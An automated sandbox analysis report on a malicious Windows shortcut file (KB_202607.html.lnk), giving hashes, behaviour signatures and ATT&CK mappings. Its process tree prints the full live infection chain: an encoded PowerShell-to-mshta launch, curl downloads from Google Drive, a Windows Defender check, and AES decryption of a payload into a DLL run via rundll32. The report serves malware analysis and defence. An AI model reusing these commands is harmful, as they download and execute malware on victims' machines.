b12ff6bfdaefc7ab7822a8857f805989d822f9646b30b5dbf87d9d89e51c1fac

General

Target
KB_202607.html.lnk
Size 1KB
Sample260727-ak2saatana
SHA256 b12ff6bfdaefc7ab7822a8857f805989d822f9646b30b5dbf87d9d89e51c1fac
MD5 fa506a093f9dfc276dbaf84cc42c8536
SHA1 7b30ff86acf3702809287e47e7a121e7c1711947
SHA512 10a39cc806b227f67239105babbbb5e5cc839b07ca47d6d5bcb3b6b2fdf35705e7a0cba3ded90a9e3e2089b5a970e256d6d4c50242fc5e43b97beb2d00e2cb04
TLSH
T1B03142140DF20269E277CB3A27FBB713A532F915AA07099C52C053446C50604FC76F6F
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
https://link24.kr/ET0vZjz

Signatures

Badlisted process makes network request 14 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	3008	mshta.exe
4	3008	mshta.exe
5	3008	mshta.exe
6	3008	mshta.exe
7	3008	mshta.exe
8	3008	mshta.exe
9	3008	mshta.exe
13	3008	mshta.exe
14	3008	mshta.exe
16	3008	mshta.exe
18	3008	mshta.exe
19	3008	mshta.exe
20	3008	mshta.exe
29	3008	mshta.exe

Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
15	drive.google.com
21	drive.google.com
32	drive.google.com
39	drive.google.com

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3116	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4988	cmd.exe
5428	cmd.exe
5804	cmd.exe
4056	cmd.exe
3892	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1696	powershell.exe
1696	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1696	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3892 wrote to memory of 1696	3892	cmd.exe	90
PID 1696 wrote to memory of 3008	1696	powershell.exe	91
PID 3008 wrote to memory of 4988	3008	mshta.exe	93
PID 3008 wrote to memory of 5428	3008	mshta.exe	94
PID 4988 wrote to memory of 5812	4988	cmd.exe	97
PID 5428 wrote to memory of 3116	5428	cmd.exe	98
PID 3008 wrote to memory of 5804	3008	mshta.exe	99
PID 5804 wrote to memory of 4772	5804	cmd.exe	101
PID 3008 wrote to memory of 4056	3008	mshta.exe	102
PID 4056 wrote to memory of 2080	4056	cmd.exe	104

cURL User-Agent 4 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	21	curl/8.8.0
HTTP User-Agent header	32	curl/8.8.0
HTTP User-Agent header	33	curl/8.8.0
HTTP User-Agent header	39	curl/8.8.0

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\KB_202607.html.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3892
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e JgAgACAAIABtAHMAYABoAHQAYQAgACAAIAAiAGgAdAB0AHAAcwA6AC8ALwBsAGkAbgBrADIANAAuAGsAcgAvAEUAVAAwAHYAWgBqAHoAIgA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1696
- - C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" https://link24.kr/ET0vZjz
    3⤵
    - Badlisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:3008
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd /d C:\Users\Admin\AppData\Local\Temp && curl -L -o KB_2026.html "https://drive.google.com/uc?export=download&id=1YKkdbQYCzuXweeKEWDUZYc__6YQZIKY8" && KB_2026.html
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:4988
    - - C:\Windows\system32\curl.exe
        
        curl -L -o KB_2026.html "https://drive.google.com/uc?export=download&id=1YKkdbQYCzuXweeKEWDUZYc__6YQZIKY8"
        5⤵
        
        PID:5812
  - - C:\Windows\system32\cmd.exe
      cmd /c sc query WinDefend
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:5428
    - - C:\Windows\System32\sc.exe
        
        sc query WinDefend
        5⤵
        Launches sc.exe
        
        PID:3116
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd /d C:\Users\Admin\AppData\Local && curl -L -o user.txt "https://drive.google.com/uc?export=download&id=1x9mkl4q9ZU8_hDPNF5w0Mu8ePxVWI5VJ"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:5804
    - - C:\Windows\system32\curl.exe
        
        curl -L -o user.txt "https://drive.google.com/uc?export=download&id=1x9mkl4q9ZU8_hDPNF5w0Mu8ePxVWI5VJ"
        5⤵
        
        PID:4772
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd /d C:\Users\Admin\AppData\Local && curl -L -o sys.log "https://drive.google.com/uc?export=download&id=116azn_9bUov3mkSORbPk8_4zIVVNBHZn" && powershell -Command "[System.IO.File]::WriteAllBytes('sys.dll', (New-Object System.Security.Cryptography.AesManaged).CreateDecryptor([System.Text.Encoding]::UTF8.GetBytes('ftrgmjekglgawkxjynqrwxjvjsydxgjc'), [System.Text.Encoding]::UTF8.GetBytes('rhmrpyihmziwkvln')).TransformFinalBlock([System.IO.File]::ReadAllBytes('sys.log'), 0, [System.IO.File]::ReadAllBytes('sys.log').Length))" && del sys.log && rundll32 sys.dll,k
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:4056
    - - C:\Windows\system32\curl.exe
        
        curl -L -o sys.log "https://drive.google.com/uc?export=download&id=116azn_9bUov3mkSORbPk8_4zIVVNBHZn"
        5⤵
        
        PID:2080

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

Windows Command Shell

1

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

memory/1696-2-0x00007FFDEF8CF000-0x00007FFDEF8D0000-memory.dmp

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memory/1696-5-0x000001CDA34D0000-0x000001CDA34F2000-memory.dmp

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memory/1696-6-0x00007FFDEF740000-0x00007FFDF00E4000-memory.dmp

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memory/1696-7-0x00007FFDEF740000-0x00007FFDF00E4000-memory.dmp

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memory/1696-9-0x00007FFDEF740000-0x00007FFDF00E4000-memory.dmp

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memory/3008-41-0x0000015F85400000-0x0000015F8589E000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads